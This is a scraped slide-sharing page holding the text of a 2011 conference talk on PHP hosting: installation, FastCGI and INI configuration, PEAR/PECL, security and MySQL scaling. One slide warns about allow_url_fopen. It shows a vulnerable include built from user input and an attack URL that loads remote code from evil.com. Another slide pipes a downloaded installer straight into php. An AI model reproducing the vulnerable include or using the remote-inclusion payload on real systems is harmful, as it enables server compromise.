Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
php & performance
 php & performance php & performance
php & performance
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
PHP & Performance
PHP & PerformancePHP & Performance
PHP & Performance
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshop
 
PHP selber bauen
PHP selber bauenPHP selber bauen
PHP selber bauen
 
Running php on nginx
Running php on nginxRunning php on nginx
Running php on nginx
 
Converting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaConverting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - Cascadia
 
Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]
 
Why we choose Symfony2
Why we choose Symfony2Why we choose Symfony2
Why we choose Symfony2
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
 

More from Combell NV

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Combell NV
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalCombell NV
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleCombell NV
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieCombell NV
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceCombell NV
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmdCombell NV
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Combell NV
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 sslCombell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupalCombell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magentoCombell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogoneCombell NV
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doenCombell NV
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoftCombell NV
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallenCombell NV
 
Keeping the Cloud in check KATHO
Keeping the Cloud in check KATHOKeeping the Cloud in check KATHO
Keeping the Cloud in check KATHOCombell NV
 

More from Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 
Keeping the Cloud in check KATHO
Keeping the Cloud in check KATHOKeeping the Cloud in check KATHO
Keeping the Cloud in check KATHO
 

Recently uploaded

Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxGDSC PJATK
 
20200723_insight_release_plan
20200723_insight_release_plan20200723_insight_release_plan
20200723_insight_release_planJamie (Taka) Wang
 
UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7DianaGray10
 
Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.YounusS2
 
RAG Patterns and Vector Search in Generative AI
RAG Patterns and Vector Search in Generative AIRAG Patterns and Vector Search in Generative AI
RAG Patterns and Vector Search in Generative AIUdaiappa Ramachandran
 
Digital magic. A small project for controlling smart light bulbs.
Digital magic. A small project for controlling smart light bulbs.Digital magic. A small project for controlling smart light bulbs.
Digital magic. A small project for controlling smart light bulbs.francesco barbera
 
NIST Cybersecurity Framework (CSF) 2.0 Workshop
NIST Cybersecurity Framework (CSF) 2.0 WorkshopNIST Cybersecurity Framework (CSF) 2.0 Workshop
NIST Cybersecurity Framework (CSF) 2.0 WorkshopBachir Benyammi
 
COMPUTER 10: Lesson 7 - File Storage and Online Collaboration
COMPUTER 10: Lesson 7 - File Storage and Online CollaborationCOMPUTER 10: Lesson 7 - File Storage and Online Collaboration
COMPUTER 10: Lesson 7 - File Storage and Online Collaborationbruanjhuli
 
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Will Schroeder
 
GenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation IncGenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation IncObject Automation
 
Cloud Revolution: Exploring the New Wave of Serverless Spatial Data
Cloud Revolution: Exploring the New Wave of Serverless Spatial DataCloud Revolution: Exploring the New Wave of Serverless Spatial Data
Cloud Revolution: Exploring the New Wave of Serverless Spatial DataSafe Software
 
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IES VE
 
Machine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfMachine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfAijun Zhang
 
COMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a WebsiteCOMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a Websitedgelyza
 
UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6DianaGray10
 
Computer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and HazardsComputer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and HazardsSeth Reyes
 
Bird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystemBird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystemAsko Soukka
 
Babel Compiler - Transforming JavaScript for All Browsers.pptx
Babel Compiler - Transforming JavaScript for All Browsers.pptxBabel Compiler - Transforming JavaScript for All Browsers.pptx
Babel Compiler - Transforming JavaScript for All Browsers.pptxYounusS2
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesAI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesMd Hossain Ali
 

Recently uploaded (20)

Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptx
 
20200723_insight_release_plan
20200723_insight_release_plan20200723_insight_release_plan
20200723_insight_release_plan
 
UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7
 
Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.
 
RAG Patterns and Vector Search in Generative AI
RAG Patterns and Vector Search in Generative AIRAG Patterns and Vector Search in Generative AI
RAG Patterns and Vector Search in Generative AI
 
Digital magic. A small project for controlling smart light bulbs.
Digital magic. A small project for controlling smart light bulbs.Digital magic. A small project for controlling smart light bulbs.
Digital magic. A small project for controlling smart light bulbs.
 
NIST Cybersecurity Framework (CSF) 2.0 Workshop
NIST Cybersecurity Framework (CSF) 2.0 WorkshopNIST Cybersecurity Framework (CSF) 2.0 Workshop
NIST Cybersecurity Framework (CSF) 2.0 Workshop
 
COMPUTER 10: Lesson 7 - File Storage and Online Collaboration
COMPUTER 10: Lesson 7 - File Storage and Online CollaborationCOMPUTER 10: Lesson 7 - File Storage and Online Collaboration
COMPUTER 10: Lesson 7 - File Storage and Online Collaboration
 
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
 
GenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation IncGenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation Inc
 
Cloud Revolution: Exploring the New Wave of Serverless Spatial Data
Cloud Revolution: Exploring the New Wave of Serverless Spatial DataCloud Revolution: Exploring the New Wave of Serverless Spatial Data
Cloud Revolution: Exploring the New Wave of Serverless Spatial Data
 
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
 
Machine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfMachine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdf
 
COMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a WebsiteCOMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a Website
 
UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6
 
Computer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and HazardsComputer 10: Lesson 10 - Online Crimes and Hazards
Computer 10: Lesson 10 - Online Crimes and Hazards
 
Bird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystemBird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystem
 
Babel Compiler - Transforming JavaScript for All Browsers.pptx
Babel Compiler - Transforming JavaScript for All Browsers.pptxBabel Compiler - Transforming JavaScript for All Browsers.pptx
Babel Compiler - Transforming JavaScript for All Browsers.pptx
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesAI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
 

Php through the eyes of a hoster phpbnl11

  • 1. PHP  through  the  eyes  of  a  hoster Thijs  Feryn Evangelist +32  (0)9  218  79  06 thijs@combellgroup.com PHPBenelux  Conference Saturday  January  29th  2011 Antwerpen,  Belgium
  • 3. About  me I’m  the  support  manager  at  Combell
  • 4. About  me I  used  to  be I’m  the  support  manager  at  Combell
  • 5. About  me I’m  an  Evangelist  at  Combell
  • 6. About  me I’m  a  board  member  at  PHPBenelux
  • 7. I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hYp://www.flickr.com/photos/galverson2/3715965933
  • 8. Follow  me  on  TwiYer:  @ThijsFeryn Read  my  blog:  hYp://blog.feryn.eu Give  me  feedback:  hYp://joind.in/2490
  • 11. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
  • 12. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultant Hoster PHP  community
  • 13. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  • 14. Goals  &  mocves Our  goals  &  moEves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  • 18. Chapter  II:  Installacon  &  configuracon
  • 19. Installing  from  source server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10   -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐ with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring   -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐ pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl   -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap   -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐ file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐ freetype-­‐dir  -­‐-­‐with-­‐openssl   server$  make server$  make  install
  • 20. Installing  using  a  package  manager  (APT/Apctude) Install  PHP: server$  apt-­‐get  install  php5 Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  • 21. SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php ConfiguraEon Apache  conf  files wrapper on  the  fly shell  user  or   User Apache  user shell  user suexec  user
  • 22. FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  • 23. FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
  • 24. INI  seengs:  tales  of  good  &  evil
  • 25. INI  seengs:  tales  of  good  &  evil Defining  INI  seengs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
  • 26. INI  seengs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  • 28. INI  seengs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  • 29. INI  seengs:  tales  of  good  &  evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  • 30. Chapter  III:  Versions  &  features
  • 31. PHP  4:  End  of  life,  but  far  from  dead
  • 32. PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
  • 34. It  HAS  to  be  PHP  5.3.5  !!!
  • 35. I  need  ALL  PHP  extension  !!!
  • 36. I  use  ALL  PHP  features  !!!
  • 37. Fruit  &  vegetables:  PEAR  &  PECL
  • 38. Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  ApplicaEon  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  • 39. Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  • 40. External  frameworks Popular  frameworks  outside  the  PHP  project
  • 41. Chapter  IV:  PHP  aYracts  a  crowd
  • 43. That  easy  ! <?php echo "Hello world!";
  • 46. Everyone  can  be  a  PHP  developer
  • 47. But  not  everyone  has  what  it  takes
  • 48. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soware  out   there
  • 49. Who  you  gonna  call  ?
  • 50. But  when  helpers  need  help  ...
  • 51. They  reach  out  to  the  PHP  community User  Group  meeEngs Twi^er Blogs Forums PHP.net IRC Conferences
  • 52. Chapter  V:  Here  be  phpirates
  • 54. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  • 55. False  assumpcons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabiliEes  and  is  not  mature”
  • 56. Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configuraEon
  • 60. Scalability  ==  constant  speed  under  increasing  load
  • 65. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  • 66. mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  =  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  • 67. Scaling  MySQL  with  replicacon
  • 74. Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  • 76. Q&A